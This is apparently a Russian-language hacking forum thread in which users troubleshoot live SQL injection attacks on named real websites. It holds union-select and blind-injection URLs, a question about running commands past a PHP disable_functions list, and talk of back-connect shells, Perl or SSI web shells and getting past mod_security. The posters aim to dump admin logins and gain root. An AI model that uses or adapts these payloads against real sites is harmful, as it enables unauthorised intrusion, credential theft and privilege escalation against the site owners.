PHP )) id=123456768+union+select+1+--+ 12345678 больше нуля, и проходит дальше, PHP сравнивает только первое вхождение.
Как выполнить комманду,если Code: disable_functions system,exec,passthru,shell_exec,posix_getpwuid,cmd,escapeshellcmd,popen,proc_open,ini_restore,dbmopen,suexec,show_source,escapeshellarg,set_time_limit,set_memory_limit php 5.2.5
2.:[melkiy]:. а может попробуешь загрузить перловый или SSI шелл! SSI шелл дето здесь на ачате лежит!
Что-то ты какую-то хрень непонятную написал) У меня ищет вхождения подстроки 'from' и 'union', проичём тут 12345678?
Пробывал У меня и так есть доступ к файлам. Нужно просто запустить бэк-коннект, чтобы порутать.Но комманды не пашут ибо: Code: disable_functions system,exec,passthru,shell_exec,posix_getpwuid,cmd,escapeshellcmd,popen,proc_open,ini_restore,dbmopen,suexec,show_source,escapeshellarg,set_time_limit,set_memory_limit Причем тут fopen и тп? Оо safe mode Off
оказывается там не фильтрация... что-то очень хитрое, чего я догнать не могу такой запрос проходит Code: http://www.gtbit.org/news/viewitem.php?id=37/*from*/+and+ascii(substring((select+version()),1,1))=53 значит всё-таки запрос обрабатывается Я вот думаю, может это как-то сервер хитро настроен? запрос: Code: http://www.gtbit.org/news/viewitem.php?id=37+and+1=2+union проходит, а в связке с select выдаёт ошибку(с union+all+select тоже) Code: http://www.gtbit.org/news/viewitem.php?id=37+and+1=2+union+select Получается не ищется вхождение подстроки 'union' и 'from'. Также 'union' и 'from' не вырезается из строки, потому что Code: http://www.gtbit.org/news/viewitem.php?id=37+and+1=2+union http://www.gtbit.org/news/viewitem.php?id=37+and+1=1+union выдаёт ошибку мускуля самое интересное то, что когда пишешь: Code: http://www.gtbit.org/news/viewitem.php?id=37+and+1=2+union+select то он выдаёт ошибку Code: Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. а при union без select Code: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gtbitor/public_html/news/viewitem.php on line 45 Почему такая реакция?
2 Seravin: mod_security там стоит и, если запрос корректный, а не сплошные ошибки синтаксиса sql-запроса, то тогда он реагирует на from и union, фильтры типо "/*!...*/ и прочие возвраты кареток не помогают в данном случае (вроде бы) http://opennet.ru/base/sec/mod_security2.txt.html http://forum.ovh.com/archive/index.php/t-30298.html почитаешь тогда станет понятно, почему на одно действие 500, а на другое 406 какое-нибудь а на что-то типо: Code: http://www.gtbit.org/news/viewitem.php?id=37+from+and+ascii(substring((select+version()),1,1))=53 он тебе и так по русски пишет - Warning, потому что неправильный синтаксис
Читал на форуме о Blind Injectionно не нашел как вывести ил колонки данные. (наверно плохо читал...) Вот запрос: Логин и пасс админа не выводит...
Подскажите, почему не отображаются данные? Code: http://www.spbpost.ru/index.php?page_id=69+union+select+1,2,3,4,5,6,7,8,9,concat%28user%28%29,database%28%29%29,11,12,13,14,15,16,17+limit+1,1+--+